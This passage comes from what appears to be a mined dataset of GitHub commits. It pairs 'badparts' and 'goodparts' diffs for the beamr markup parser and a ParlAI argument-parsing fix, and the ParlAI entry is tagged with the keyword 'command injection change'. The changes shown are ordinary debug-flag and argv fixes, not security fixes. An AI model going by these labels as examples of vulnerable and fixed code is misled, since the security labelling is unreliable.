*))*(?=\\n|$)' t.value=beamr.interpreters.ListItem(t.value) return t def t_COLUMN(t): r'(^|\\n)(?P *)\\|(\\d*\\.?\\d+(%|)|) *(\\n((?P=COL_INDENT).*| *))+(?=\\n|$)' t.value=beamr.interpreters.Column(t.value) return t def t_IMGENV(t): r'~{[\\s\\S]*?}' t.value=beamr.interpreters.ImageEnv(t.value) return t def t_PLUSENV(t): r'(^|\\n)(?P *)\\[[\\s\\S]+\\n(?P=PLUS_INDENT)\\]' t.value=beamr.interpreters.PlusEnv(t.value) return t def t_TABENV(t): r'={[\\s\\S]+?}' t.value=beamr.interpreters.TableEnv(t.value) return t def t_VERBATIM(t): r'(^|\\n)(?P *){{(?P.*)\\n(?P[\\s\\S]+)\\n(?P=VBTM_INDENT)}}' global lexer gd=lexer.lexmatch.groupdict() t.value=beamr.interpreters.VerbatimEnv( gd['VBTM_HEAD'].strip(), gd['VBTM_BODY']) return t def t_MACRO(t): r'%{[\\s\\S]+?}' t.value=beamr.interpreters.Macro(t.value) return t def t_BOX(t): r'(^|\\n)(?P *)\\((\\*|!)[\\s\\S]+?\\n(?P=BOX_INDENT)\\)' t.value=beamr.interpreters.Box(t.value) return t def t_ANTIESCAPE(t): r'[%&]' t.value=beamr.interpreters.Text('\\\\' +t.value) return t def t_TEXT(t): r'[\\s\\S]+?(?=[^0-9A-Za-z\\s]|\\n|$)' t.value=beamr.interpreters.Text(t.value) return t lexer=lex.lex(debug=beamr.debug.verbose, reflags=0) ", "sourceWithComments": "'''\nCreated on 1 Feb 2018\n\n@author: Teodor Gherasim Nistor\n'''\nfrom ply import lex\nfrom beamr.lexers.generic import t_error # Used internally by lex() @UnusedImport\nfrom beamr.lexers.document import t_COMMENT # Used internally by lex() @UnusedImport\nimport beamr\n\ntokens = (\n 'COMMENT',\n 'ESCAPE',\n 'STRETCH1',\n 'STRETCH2',\n 'EMPH',\n 'CITATION',\n 'FOOTNOTE',\n 'URL',\n 'LISTITEM',\n 'COLUMN',\n 'IMGENV',\n 'PLUSENV',\n 'TABENV',\n 'VERBATIM',\n 'MACRO',\n 'BOX',\n 'ANTIESCAPE',\n 'TEXT',\n )\n\n\ndef t_ESCAPE(t):\n r'\\\\[^0-9A-Za-z\\s]' # e.g. \\# # Almost copy-paste from https://github.com/Khan/simple-markdown/blob/master/simple-markdown.js\n t.value = beamr.interpreters.Escape(t.value)\n return t\n\ndef t_STRETCH1(t):\n r'\\[[<>_^:+]\\]' # e.g. [+] # TODO Tailor to those actually used\n t.value = beamr.interpreters.Stretch(t.value[1])\n return t\n\ndef t_STRETCH2(t):\n r'\\[[<>_v^].+?[<>_v^]\\]' # e.g. [< Stretched text >]\n t.value = beamr.interpreters.Stretch(t.value[1]+t.value[-2], t.value[2:-2])\n return t\n\ndef t_EMPH(t):\n r'(?P[*_~]{1,2})(?P[\\S](.*?[\\S])?)(?P=EMPH_FLAG)' # e.g. *Bold text*, ~Strikethrough text~\n global lexer\n gd = lexer.lexmatch.groupdict()\n t.value = beamr.interpreters.Emph(\n gd['EMPH_FLAG'], gd['EMPH_TXT'])\n return t\n\ndef t_CITATION(t):\n r'\\[--.+?\\]' # e.g. [fn:See attached docs]\n t.value = beamr.interpreters.Citation(t.value[3:-1])\n return t\n\ndef t_FOOTNOTE(t):\n r'\\[-.+?-\\]' # e.g. [fn:See attached docs]\n t.value = beamr.interpreters.Footnote(t.value[2:-2])\n return t\n\ndef t_URL(t):\n r'\\[.+?\\]' # e.g. [https://www.example.com/]\n t.value = beamr.interpreters.Url(t.value[1:-1])\n return t\n \n# e.g.:\n# - One\n# *. Two\n# -,+ Three\ndef t_LISTITEM(t):\n r'(^|\\n)(?P *)(\\*|-)(|\\.|,|=)(|\\+) .*(\\n((?P=LI_INDENT) .*| *))*(?=\\n|$)'\n t.value = beamr.interpreters.ListItem(t.value)\n return t\n\n# e.g.:\n# |1.5\n# Column content\n# |20%\n# Column content\ndef t_COLUMN(t):\n r'(^|\\n)(?P *)\\|(\\d*\\.?\\d+(%|)|) *(\\n((?P=COL_INDENT) .*| *))+(?=\\n|$)'\n t.value = beamr.interpreters.Column(t.value)\n return t\n\ndef t_IMGENV(t):\n r'~{[\\s\\S]*?}'\n t.value = beamr.interpreters.ImageEnv(t.value)\n return t\n\ndef t_PLUSENV(t):\n r'(^|\\n)(?P *)\\[[\\s\\S]+\\n(?P=PLUS_INDENT)\\]'\n t.value = beamr.interpreters.PlusEnv(t.value)\n return t\n\ndef t_TABENV(t):\n r'={[\\s\\S]+?}'\n t.value = beamr.interpreters.TableEnv(t.value)\n return t\n\ndef t_VERBATIM(t):\n r'(^|\\n)(?P *){{(?P.*)\\n(?P[\\s\\S]+)\\n(?P=VBTM_INDENT)}}'\n global lexer\n gd = lexer.lexmatch.groupdict()\n t.value = beamr.interpreters.VerbatimEnv(\n gd['VBTM_HEAD'].strip(), gd['VBTM_BODY'])\n return t\n\ndef t_MACRO(t):\n r'%{[\\s\\S]+?}'\n t.value = beamr.interpreters.Macro(t.value)\n return t\n\ndef t_BOX(t):\n r'(^|\\n)(?P *)\\((\\*|!)[\\s\\S]+?\\n(?P=BOX_INDENT)\\)'\n t.value = beamr.interpreters.Box(t.value)\n return t\n\ndef t_ANTIESCAPE(t):\n r'[%&]'\n t.value = beamr.interpreters.Text('\\\\' + t.value)\n return t\n\ndef t_TEXT(t):\n r'[\\s\\S]+?(?=[^0-9A-Za-z\\s]|\\n|$)' # Inspired loosely from https://github.com/Khan/simple-markdown/blob/master/simple-markdown.js\n t.value = beamr.interpreters.Text(t.value)\n return t\n\nlexer = lex.lex(debug=beamr.debug.verbose, reflags=0)\n"}, "/beamr/parsers/document.py": {"changes": [{"diff": "\n '''main : main TEXT'''\n t[0] = t[1]\n \n-parser = yacc.yacc(tabmodule='document_parsetab', debugfile='document_parsedbg', debug=not debug.quiet)\n+parser = yacc.yacc(tabmodule='document_parsetab', debugfile='document_parsedbg', debug=debug.", "add": 1, "remove": 1, "filename": "/beamr/parsers/document.py", "badparts": ["parser = yacc.yacc(tabmodule='document_parsetab', debugfile='document_parsedbg', debug=not debug.quiet)"], "goodparts": ["parser = yacc.yacc(tabmodule='document_parsetab', debugfile='document_parsedbg', debug=debug."]}], "source": "\n''' Created on 1 Feb 2018 @author: Teodor Gherasim Nistor ''' from beamr.parsers.generic import p_nil, p_error from beamr.lexers.document import tokens from ply import yacc import beamr.debug as debug start='main' def p_main_notext(t): '''main: main COMMENT | main HEADING | main SLIDE | main SCISSOR | main YAML | nil''' if len(t) > 2: t[0]=t[1] t[0].append(t[2]) else: t[0]=[] def p_main_text(t): '''main: main TEXT''' t[0]=t[1] parser=yacc.yacc(tabmodule='document_parsetab', debugfile='document_parsedbg', debug=not debug.quiet) ", "sourceWithComments": "'''\nCreated on 1 Feb 2018\n\n@author: Teodor Gherasim Nistor\n'''\nfrom beamr.parsers.generic import p_nil, p_error # Used internally by yacc() @UnusedImport\nfrom beamr.lexers.document import tokens # Used internally by yacc() @UnusedImport\nfrom ply import yacc\nimport beamr.debug as debug\n\nstart = 'main'\n\ndef p_main_notext(t):\n '''main : main COMMENT\n | main HEADING\n | main SLIDE\n | main SCISSOR\n | main YAML\n | nil'''\n if len(t) > 2:\n t[0] = t[1]\n t[0].append(t[2])\n else:\n t[0] = []\n\ndef p_main_text(t):\n '''main : main TEXT'''\n t[0] = t[1]\n\nparser = yacc.yacc(tabmodule='document_parsetab', debugfile='document_parsedbg', debug=not debug.quiet)\n"}, "/beamr/parsers/image.py": {"changes": [{"diff": "\n else:\n return (a[0], a[1])\n \n-parser = yacc.yacc(tabmodule='image_parsetab', debugfile='image_parsedbg', debug=not debug.quiet)\n+parser = yacc.yacc(tabmodule='image_parsetab', debugfile='image_parsedbg', debug=debug", "add": 1, "remove": 1, "filename": "/beamr/parsers/image.py", "badparts": ["parser = yacc.yacc(tabmodule='image_parsetab', debugfile='image_parsedbg', debug=not debug.quiet)"], "goodparts": ["parser = yacc.yacc(tabmodule='image_parsetab', debugfile='image_parsedbg', debug=debug"]}], "source": "\n''' Created on 15 Feb 2018 @author: Teodor Gherasim Nistor ''' import beamr.debug as debug from beamr.parsers.generic import p_nil from ply import yacc from beamr.lexers.image import tokens start='main' def p_main(t): '''main: files shape align dims''' t[0]=(t[1], t[2], t[3], t[4]) def p_elem(t): '''files: files FILE | files QFILE | FILE | QFILE | files LF QFILE | files LF FILE''' if len(t)==2: t[0]=[[t[1]]] elif len(t)==3: t[0]=t[1] t[0][-1].append(t[2]) else: t[0]=t[1] t[0].append([t[3]]) def p_shape(t): '''shape: VBAR | HBAR | PLUS | HASH | BIGO | nil''' t[0]=t[1] def p_align(t): '''align: LEFT | RIGHT | UP | DOWN | nil''' t[0]=t[1] def p_dims_dim(t): '''dims: dim X dim | dim | X dim''' if len(t)==2: t[0]=(_optional_format(t[1], 'width'), None) elif len(t)==3: t[0]=(None, _optional_format(t[2], 'height')) else: t[0]=(_optional_format(t[1], 'width'), _optional_format(t[3], 'height')) def p_dims_nil(t): '''dims: nil''' t[0]=(None, None) def p_dim(p): '''dim: NUM UNIT | NUM''' fl=float(p[1]) unit=p[2] if len(p)==3 else None if not unit: if fl > 1.0: fl *=0.01 p[0]=(fl, r'\\text%s', True) elif unit=='%': p[0]=(fl*0.01, r'\\text%s', True) else: p[0]=(fl, unit, False) def p_error(p): if p: debug.warn('Syntax error in Image environment at \"', p.value, '\". Images or parameters may be missing from output.') global parser parser.errok() else: debug.warn('Syntax error at the end of Image environment.') def _optional_format(a, b): if a[2]: return(a[0], a[1] % b) else: return(a[0], a[1]) parser=yacc.yacc(tabmodule='image_parsetab', debugfile='image_parsedbg', debug=not debug.quiet) ", "sourceWithComments": "'''\nCreated on 15 Feb 2018\n\n@author: Teodor Gherasim Nistor\n'''\nimport beamr.debug as debug\nfrom beamr.parsers.generic import p_nil # Used internally by yacc() @UnusedImport\nfrom ply import yacc\nfrom beamr.lexers.image import tokens # Used internally by yacc() @UnusedImport\n\nstart = 'main'\n\ndef p_main(t):\n '''main : files shape align dims'''\n t[0] = (t[1], t[2], t[3], t[4])\n \ndef p_elem(t):\n '''files : files FILE\n | files QFILE\n | FILE\n | QFILE\n | files LF QFILE\n | files LF FILE'''\n if len(t) == 2:\n t[0] = [[t[1]]]\n elif len(t) == 3:\n t[0] = t[1]\n t[0][-1].append(t[2])\n else:\n t[0] = t[1]\n t[0].append([t[3]])\n\n\ndef p_shape(t):\n '''shape : VBAR\n | HBAR\n | PLUS\n | HASH\n | BIGO\n | nil'''\n t[0] = t[1]\n\ndef p_align(t):\n '''align : LEFT\n | RIGHT\n | UP\n | DOWN\n | nil'''\n t[0] = t[1]\n\n\n# Lambda hack below caused by excesive caffeination\ndef p_dims_dim(t):\n '''dims : dim X dim\n | dim\n | X dim'''\n if len(t) == 2:\n t[0] = (_optional_format(t[1], 'width'),\n None)\n elif len(t) == 3:\n t[0] = (None,\n _optional_format(t[2], 'height'))\n else:\n t[0] = (_optional_format(t[1], 'width'),\n _optional_format(t[3], 'height'))\n\ndef p_dims_nil(t):\n '''dims : nil'''\n t[0] = (None, None)\n\n\ndef p_dim(p):\n '''dim : NUM UNIT\n | NUM'''\n fl = float(p[1])\n unit = p[2] if len(p) == 3 else None\n if not unit:\n if fl > 1.0:\n fl *= 0.01\n p[0] = (fl, r'\\text%s', True)\n elif unit == '%':\n p[0] = (fl*0.01, r'\\text%s', True)\n else:\n p[0] = (fl, unit, False)\n\n\ndef p_error(p):\n # TODO instead of discarding bad tokens, consider them file names, or pieces thereof, and return to lexer in a sensible fashion\n # BUT currently this fixes empty lines in image environment automagically so...\n if p:\n debug.warn('Syntax error in Image environment at \"', p.value, '\". Images or parameters may be missing from output.')\n global parser\n parser.errok()\n else:\n debug.warn('Syntax error at the end of Image environment.')\n\ndef _optional_format(a, b):\n if a[2]:\n return (a[0], a[1] % b)\n else:\n return (a[0], a[1])\n\nparser = yacc.yacc(tabmodule='image_parsetab', debugfile='image_parsedbg', debug=not debug.quiet)\n"}, "/beamr/parsers/slide.py": {"changes": [{"diff": "\n \n def p_elem(t):\n '''elem : COMMENT\n+ | AUTORAW\n | ESCAPE\n- | STRETCH1\n- | STRETCH2\n+ | STRETCH\n | EMPH\n | CITATION\n | FOOTNOTE\n", "add": 2, "remove": 2, "filename": "/beamr/parsers/slide.py", "badparts": [" | STRETCH1", " | STRETCH2"], "goodparts": [" | AUTORAW", " | STRETCH"]}, {"diff": "\n | TEXT'''\n t[0] = t[1]\n \n-parser = yacc.yacc(tabmodule='slide_parsetab', debugfile='slide_parsedbg', debug=not debug.quiet)\n+parser = yacc.yacc(tabmodule='slide_parsetab', debugfile='slide_parsedbg', debug=debug.quiet<2)\n", "add": 1, "remove": 1, "filename": "/beamr/parsers/slide.py", "badparts": ["parser = yacc.yacc(tabmodule='slide_parsetab', debugfile='slide_parsedbg', debug=not debug.quiet)"], "goodparts": ["parser = yacc.yacc(tabmodule='slide_parsetab', debugfile='slide_parsedbg', debug=debug.quiet<2)"]}], "source": "\n''' Created on 1 Feb 2018 @author: Teodor Gherasim Nistor ''' import beamr.debug as debug from beamr.parsers.generic import p_nil, p_error from ply import yacc from beamr.lexers.slide import tokens start='main' def p_main(t): '''main: main elem | nil''' if len(t) > 2: t[0]=t[1] t[0].append(t[2]) else: t[0]=[] def p_elem(t): '''elem: COMMENT | ESCAPE | STRETCH1 | STRETCH2 | EMPH | CITATION | FOOTNOTE | URL | LISTITEM | COLUMN | IMGENV | PLUSENV | TABENV | VERBATIM | MACRO | BOX | ANTIESCAPE | TEXT''' t[0]=t[1] parser=yacc.yacc(tabmodule='slide_parsetab', debugfile='slide_parsedbg', debug=not debug.quiet) ", "sourceWithComments": "'''\nCreated on 1 Feb 2018\n\n@author: Teodor Gherasim Nistor\n'''\nimport beamr.debug as debug\nfrom beamr.parsers.generic import p_nil, p_error # Used internally by yacc() @UnusedImport\nfrom ply import yacc\nfrom beamr.lexers.slide import tokens # Used internally by yacc() @UnusedImport\n\nstart = 'main'\n\ndef p_main(t):\n '''main : main elem\n | nil'''\n if len(t) > 2:\n t[0] = t[1]\n t[0].append(t[2])\n else:\n t[0] = []\n \ndef p_elem(t):\n '''elem : COMMENT\n | ESCAPE\n | STRETCH1\n | STRETCH2\n | EMPH\n | CITATION\n | FOOTNOTE\n | URL\n | LISTITEM\n | COLUMN\n | IMGENV\n | PLUSENV\n | TABENV\n | VERBATIM\n | MACRO\n | BOX\n | ANTIESCAPE\n | TEXT'''\n t[0] = t[1]\n\nparser = yacc.yacc(tabmodule='slide_parsetab', debugfile='slide_parsedbg', debug=not debug.quiet)\n"}}, "msg": "Beta 2 (#3)\n\n* Org mode tables with a twist\r\n* Add config dumping procedure\r\n* Fine-grain quiet levels (up to 3 -q's now supported)\r\n* Citations can pass options\r\n* Title page improvements\r\n* TOC & header/footer adjustments\r\n* Autodetect and inertify simple-ish LaTeX commands\r\n* Explicit add/remove/override in config lists\r\n* Add code injection points around preambles etc\r\n* Squelch some useless warnings\r\n* Create infrastructure for file-line-based error reporting\r\n* Simplify lexer referencing in rules that require named capturing groups\r\n* Add line no info to warns etc\r\n* Newline rundown\r\n* Externalise strings from Document (hierarchical.py)\r\n* Externalise strings from Slide (hierarchical.py)\r\n* Externalise strings from Column (hierarchical.py)\r\n* Externalise strings from Box and optimise Regex\r\n* Externalise strings from Footnote (hierarchical.py)\r\n* Externalise strings from Comment, Citation, Url, Heading (textual.py)\r\n* Externalise strings from 8< and improve it\r\n* Civilise effectiveConfig"}}, "https://github.com/freedombenLiu/ParlAI": {"601668d569e1276e0b8bf2bf8fb43e391e10d170": {"url": "https://api.github.com/repos/freedombenLiu/ParlAI/commits/601668d569e1276e0b8bf2bf8fb43e391e10d170", "html_url": "https://github.com/freedombenLiu/ParlAI/commit/601668d569e1276e0b8bf2bf8fb43e391e10d170", "message": "Fix args injection inside add_extra_args (#802)\n\nA recent change broke callers that were using the Predictor class from inside another application (and thus with different command line parameters). Calling parse_known_args without injecting the args forces it to resolve sys.argv, which in that case do not correspond at all to ParlAI parameters.", "sha": "601668d569e1276e0b8bf2bf8fb43e391e10d170", "keyword": "command injection change", "diff": "diff --git a/parlai/core/params.py b/parlai/core/params.py\nindex 027c02c9..17e4a98c 100644\n--- a/parlai/core/params.py\n+++ b/parlai/core/params.py\n@@ -335,7 +335,7 @@ def add_image_args(self, image_mode):\n \n def add_extra_args(self, args=None):\n \"\"\"Add more args depending on how known args are set.\"\"\"\n- parsed = vars(self.parse_known_args(nohelp=True)[0])\n+ parsed = vars(self.parse_known_args(args, nohelp=True)[0])\n \n # find which image mode specified if any, and add additional arguments\n image_mode = parsed.get('image_mode', None)\n", "files": {"/parlai/core/params.py": {"changes": [{"diff": "\n \n def add_extra_args(self, args=None):\n \"\"\"Add more args depending on how known args are set.\"\"\"\n- parsed = vars(self.parse_known_args(nohelp=True)[0])\n+ parsed = vars(self.parse_known_args(args, nohelp=True)[0])\n \n # find which image mode specified if any, and add additional arguments\n image_mode = parsed.get('image_mode', None)\n", "add": 1, "remove": 1, "filename": "/parlai/core/params.py", "badparts": [" parsed = vars(self.parse_known_args(nohelp=True)[0])"], "goodparts": [" parsed = vars(self.parse_known_args(args, nohelp=True)[0])"]}], "source": "\n \"\"\"Provides an argument parser and a set of default command line options for using the ParlAI package. \"\"\" import argparse import importlib import os import sys from parlai.core.agents import get_agent_module, get_task_module from parlai.tasks.tasks import ids_to_tasks def str2bool(value): v=value.lower() if v in('yes', 'true', 't', '1', 'y'): return True elif v in('no', 'false', 'f', 'n', '0'): return False else: raise argparse.ArgumentTypeError('Boolean value expected.') def str2class(value): \"\"\"From import path string, returns the class specified. For example, the string 'parlai.agents.drqa.drqa:SimpleDictionaryAgent' returns . \"\"\" if ':' not in value: raise RuntimeError('Use a colon before the name of the class.') name=value.split(':') module=importlib.import_module(name[0]) return getattr(module, name[1]) def class2str(value): \"\"\"Inverse of params.str2class().\"\"\" s=str(value) s=s[s.find('\\'') +1:s.rfind('\\'')] s=':'.join(s.rsplit('.', 1)) return s def modelzoo_path(datapath, path): \"\"\"If path starts with 'models', then we remap it to the model zoo path within the data directory(default is ParlAI/data/models). .\"\"\" if path is None: return None if not path.startswith('models:'): return path else: animal=path[7:path.rfind('/')].replace('/', '.') module_name=f\"parlai.zoo.{animal}\" print(module_name) try: my_module=importlib.import_module(module_name) download=getattr(my_module, 'download') download(datapath) except(ModuleNotFoundError, AttributeError): pass return os.path.join(datapath, 'models', path[7:]) class ParlaiParser(argparse.ArgumentParser): \"\"\"Pseudo-extension of ``argparse`` which sets a number of parameters for the ParlAI framework. More options can be added specific to other modules by passing this object and calling ``add_arg()`` or ``add_argument()`` on it. For example, see ``parlai.core.dict.DictionaryAgent.add_cmdline_args``. \"\"\" def __init__(self, add_parlai_args=True, add_model_args=False): \"\"\"Initializes the ParlAI argparser. -add_parlai_args(default True) initializes the default arguments for ParlAI package, including the data download paths and task arguments. -add_model_args(default False) initializes the default arguments for loading models, including initializing arguments from that model. \"\"\" super().__init__(description='ParlAI parser.', allow_abbrev=False, conflict_handler='resolve') self.register('type', 'bool', str2bool) self.register('type', 'class', str2class) self.parlai_home=(os.path.dirname(os.path.dirname(os.path.dirname( os.path.realpath(__file__))))) os.environ['PARLAI_HOME']=self.parlai_home self.add_arg=self.add_argument self.cli_args=sys.argv self.overridable={} if add_parlai_args: self.add_parlai_args() if add_model_args: self.add_model_args() def add_parlai_data_path(self, argument_group=None): if argument_group is None: argument_group=self default_data_path=os.path.join(self.parlai_home, 'data') argument_group.add_argument( '-dp', '--datapath', default=default_data_path, help='path to datasets, defaults to{parlai_dir}/data') def add_mturk_args(self): mturk=self.add_argument_group('Mechanical Turk') default_log_path=os.path.join(self.parlai_home, 'logs', 'mturk') mturk.add_argument( '--mturk-log-path', default=default_log_path, help='path to MTurk logs, defaults to{parlai_dir}/logs/mturk') mturk.add_argument( '-t', '--task', help='MTurk task, e.g. \"qa_data_collection\" or \"model_evaluator\"') mturk.add_argument( '-nc', '--num-conversations', default=1, type=int, help='number of conversations you want to create for this task') mturk.add_argument( '--unique', dest='unique_worker', default=False, action='store_true', help='enforce that no worker can work on your task twice') mturk.add_argument( '--unique-qual-name', dest='unique_qual_name', default=None, type=str, help='qualification name to use for uniqueness between HITs') mturk.add_argument( '-r', '--reward', default=0.05, type=float, help='reward for each worker for finishing the conversation, ' 'in US dollars') mturk.add_argument( '--sandbox', dest='is_sandbox', action='store_true', help='submit the HITs to MTurk sandbox site') mturk.add_argument( '--live', dest='is_sandbox', action='store_false', help='submit the HITs to MTurk live site') mturk.add_argument( '--debug', dest='is_debug', action='store_true', help='print and log all server interactions and messages') mturk.add_argument( '--verbose', dest='verbose', action='store_true', help='print all messages sent to and from Turkers') mturk.add_argument( '--hard-block', dest='hard_block', action='store_true', default=False, help='Hard block disconnecting Turkers from all of your HITs') mturk.add_argument( '--log-level', dest='log_level', type=int, default=20, help='importance level for what to put into the logs. the lower ' 'the level the more that gets logged. values are 0-50') mturk.add_argument( '--block-qualification', dest='block_qualification', default='', help='Qualification to use for soft blocking users. By default ' 'turkers are never blocked, though setting this will allow ' 'you to filter out turkers that have disconnected too many ' 'times on previous HITs where this qualification was set.') mturk.add_argument( '--count-complete', dest='count_complete', default=False, action='store_true', help='continue until the requested number of conversations are ' 'completed rather than attempted') mturk.add_argument( '--allowed-conversations', dest='allowed_conversations', default=0, type=int, help='number of concurrent conversations that one mturk worker ' 'is able to be involved in, 0 is unlimited') mturk.add_argument( '--max-connections', dest='max_connections', default=30, type=int, help='number of HITs that can be launched at the same time, 0 is ' 'unlimited.' ) mturk.add_argument( '--min-messages', dest='min_messages', default=0, type=int, help='number of messages required to be sent by MTurk agent when ' 'considering whether to approve a HIT in the event of a ' 'partner disconnect. I.e. if the number of messages ' 'exceeds this number, the turker can submit the HIT.' ) mturk.add_argument( '--local', dest='local', default=False, action='store_true', help='Run the server locally on this server rather than setting up' ' a heroku server.' ) mturk.set_defaults(is_sandbox=True) mturk.set_defaults(is_debug=False) mturk.set_defaults(verbose=False) def add_messenger_args(self): messenger=self.add_argument_group('Facebook Messenger') messenger.add_argument( '--debug', dest='is_debug', action='store_true', help='print and log all server interactions and messages') messenger.add_argument( '--verbose', dest='verbose', action='store_true', help='print all messages sent to and from Turkers') messenger.add_argument( '--log-level', dest='log_level', type=int, default=20, help='importance level for what to put into the logs. the lower ' 'the level the more that gets logged. values are 0-50') messenger.add_argument( '--force-page-token', dest='force_page_token', action='store_true', help='override the page token stored in the cache for a new one') messenger.add_argument( '--password', dest='password', type=str, default=None, help='Require a password for entry to the bot') messenger.add_argument( '--local', dest='local', action='store_true', default=False, help='Run the server locally on this server rather than setting up' ' a heroku server.' ) messenger.set_defaults(is_debug=False) messenger.set_defaults(verbose=False) def add_parlai_args(self, args=None): default_downloads_path=os.path.join(self.parlai_home, 'downloads') parlai=self.add_argument_group('Main ParlAI Arguments') parlai.add_argument( '-t', '--task', help='ParlAI task(s), e.g. \"babi:Task1\" or \"babi,cbt\"') parlai.add_argument( '--download-path', default=default_downloads_path, help='path for non-data dependencies to store any needed files.' 'defaults to{parlai_dir}/downloads') parlai.add_argument( '-dt', '--datatype', default='train', choices=['train', 'train:stream', 'train:ordered', 'train:ordered:stream', 'train:stream:ordered', 'valid', 'valid:stream', 'test', 'test:stream'], help='choose from: train, train:ordered, valid, test. to stream ' 'data add \":stream\" to any option(e.g., train:stream). ' 'by default: train is random with replacement, ' 'valid is ordered, test is ordered.') parlai.add_argument( '-im', '--image-mode', default='raw', type=str, help='image preprocessor to use. default is \"raw\". set to \"none\" ' 'to skip image loading.') parlai.add_argument( '-nt', '--numthreads', default=1, type=int, help='number of threads. If batchsize set to 1, used for hogwild; ' 'otherwise, used for number of threads in threadpool loading,' ' e.g. in vqa') parlai.add_argument( '--hide-labels', default=False, type='bool', help='default(False) moves labels in valid and test sets to the ' 'eval_labels field. If True, they are hidden completely.') batch=self.add_argument_group('Batching Arguments') batch.add_argument( '-bs', '--batchsize', default=1, type=int, help='batch size for minibatch training schemes') batch.add_argument('-bsrt', '--batch-sort', default=True, type='bool', help='If enabled(default True), create batches by ' 'flattening all episodes to have exactly one ' 'utterance exchange and then sorting all the ' 'examples according to their length. This ' 'dramatically reduces the amount of padding ' 'present after examples have been parsed, ' 'speeding up training.') batch.add_argument('-clen', '--context-length', default=-1, type=int, help='Number of past utterances to remember when ' 'building flattened batches of data in multi-' 'example episodes.') batch.add_argument('-incl', '--include-labels', default=True, type='bool', help='Specifies whether or not to include labels ' 'as past utterances when building flattened ' 'batches of data in multi-example episodes.') self.add_parlai_data_path(parlai) def add_model_args(self): \"\"\"Add arguments related to models such as model files.\"\"\" model_args=self.add_argument_group('ParlAI Model Arguments') model_args.add_argument( '-m', '--model', default=None, help='the model class name. can match parlai/agents/ for ' 'agents in that directory, or can provide a fully specified ' 'module for `from X import Y` via `-m X:Y` ' '(e.g. `-m parlai.agents.seq2seq.seq2seq:Seq2SeqAgent`)') model_args.add_argument( '-mf', '--model-file', default=None, help='model file name for loading and saving models') model_args.add_argument( '--dict-class', help='the class of the dictionary agent uses') def add_model_subargs(self, model): \"\"\"Add arguments specific to a particular model.\"\"\" agent=get_agent_module(model) try: if hasattr(agent, 'add_cmdline_args'): agent.add_cmdline_args(self) except argparse.ArgumentError: pass try: if hasattr(agent, 'dictionary_class'): s=class2str(agent.dictionary_class()) self.set_defaults(dict_class=s) except argparse.ArgumentError: pass def add_task_args(self, task): \"\"\"Add arguments specific to the specified task.\"\"\" for t in ids_to_tasks(task).split(','): agent=get_task_module(t) try: if hasattr(agent, 'add_cmdline_args'): agent.add_cmdline_args(self) except argparse.ArgumentError: pass def add_image_args(self, image_mode): \"\"\"Add additional arguments for handling images.\"\"\" try: parlai=self.add_argument_group('ParlAI Image Preprocessing Arguments') parlai.add_argument('--image-size', type=int, default=256, help='resizing dimension for images') parlai.add_argument('--image-cropsize', type=int, default=224, help='crop dimension for images') except argparse.ArgumentError: pass def add_extra_args(self, args=None): \"\"\"Add more args depending on how known args are set.\"\"\" parsed=vars(self.parse_known_args(nohelp=True)[0]) image_mode=parsed.get('image_mode', None) if image_mode is not None and image_mode !='none': self.add_image_args(image_mode) task=parsed.get('task', None) if task is not None: self.add_task_args(task) evaltask=parsed.get('evaltask', None) if evaltask is not None: self.add_task_args(evaltask) model=parsed.get('model', None) if model is not None: self.add_model_subargs(model) try: self.set_defaults(**self._defaults) except AttributeError: raise RuntimeError('Please file an issue on github that argparse ' 'got an attribute error when parsing.') def parse_known_args(self, args=None, namespace=None, nohelp=False): \"\"\"Custom parse known args to ignore help flag.\"\"\" if nohelp: args=sys.argv[1:] if args is None else args args=[a for a in args if a !='-h' and a !='--help'] return super().parse_known_args(args, namespace) def parse_args(self, args=None, namespace=None, print_args=True): \"\"\"Parses the provided arguments and returns a dictionary of the ``args``. We specifically remove items with ``None`` as values in order to support the style ``opt.get(key, default)``, which would otherwise return ``None``. \"\"\" self.add_extra_args(args) self.args=super().parse_args(args=args) self.opt=vars(self.args) self.opt['parlai_home']=self.parlai_home if 'batchsize' in self.opt and self.opt['batchsize'] <=1: self.opt.pop('batch_sort', None) self.opt.pop('context_length', None) if self.opt.get('download_path'): os.environ['PARLAI_DOWNPATH']=self.opt['download_path'] if self.opt.get('datapath'): os.environ['PARLAI_DATAPATH']=self.opt['datapath'] if self.opt.get('model_file') is not None: self.opt['model_file']=modelzoo_path(self.opt.get('datapath'), self.opt['model_file']) if self.opt.get('dict_file') is not None: self.opt['dict_file']=modelzoo_path(self.opt.get('datapath'), self.opt['dict_file']) option_strings_dict={} store_true=[] store_false=[] for group in self._action_groups: for a in group._group_actions: if hasattr(a, 'option_strings'): for option in a.option_strings: option_strings_dict[option]=a.dest if '_StoreTrueAction' in str(type(a)): store_true.append(option) elif '_StoreFalseAction' in str(type(a)): store_false.append(option) for i in range(len(self.cli_args)): if self.cli_args[i] in option_strings_dict: if self.cli_args[i] in store_true: self.overridable[option_strings_dict[self.cli_args[i]]]=\\ True elif self.cli_args[i] in store_false: self.overridable[option_strings_dict[self.cli_args[i]]]=\\ False else: if i <(len(self.cli_args) -1) and \\ self.cli_args[i+1][0] !='-': self.overridable[option_strings_dict[self.cli_args[i]]]=\\ self.cli_args[i+1] self.opt['override']=self.overridable if print_args: self.print_args() return self.opt def print_args(self): \"\"\"Print out all the arguments in this parser.\"\"\" if not self.opt: self.parse_args(print_args=False) values={} for key, value in self.opt.items(): values[str(key)]=str(value) for group in self._action_groups: group_dict={ a.dest: getattr(self.args, a.dest, None) for a in group._group_actions } namespace=argparse.Namespace(**group_dict) count=0 for key in namespace.__dict__: if key in values: if count==0: print('[ ' +group.title +':] ') count +=1 print('[ ' +key +': ' +values[key] +']') def set_params(self, **kwargs): \"\"\"Set overridable kwargs.\"\"\" self.set_defaults(**kwargs) for k, v in kwargs.items(): self.overridable[k]=v ", "sourceWithComments": "# Copyright (c) 2017-present, Facebook, Inc.\n# All rights reserved.\n# This source code is licensed under the BSD-style license found in the\n# LICENSE file in the root directory of this source tree. An additional grant\n# of patent rights can be found in the PATENTS file in the same directory.\n\"\"\"Provides an argument parser and a set of default command line options for\nusing the ParlAI package.\n\"\"\"\n\nimport argparse\nimport importlib\nimport os\nimport sys\nfrom parlai.core.agents import get_agent_module, get_task_module\nfrom parlai.tasks.tasks import ids_to_tasks\n\n\ndef str2bool(value):\n v = value.lower()\n if v in ('yes', 'true', 't', '1', 'y'):\n return True\n elif v in ('no', 'false', 'f', 'n', '0'):\n return False\n else:\n raise argparse.ArgumentTypeError('Boolean value expected.')\n\n\ndef str2class(value):\n \"\"\"From import path string, returns the class specified. For example, the\n string 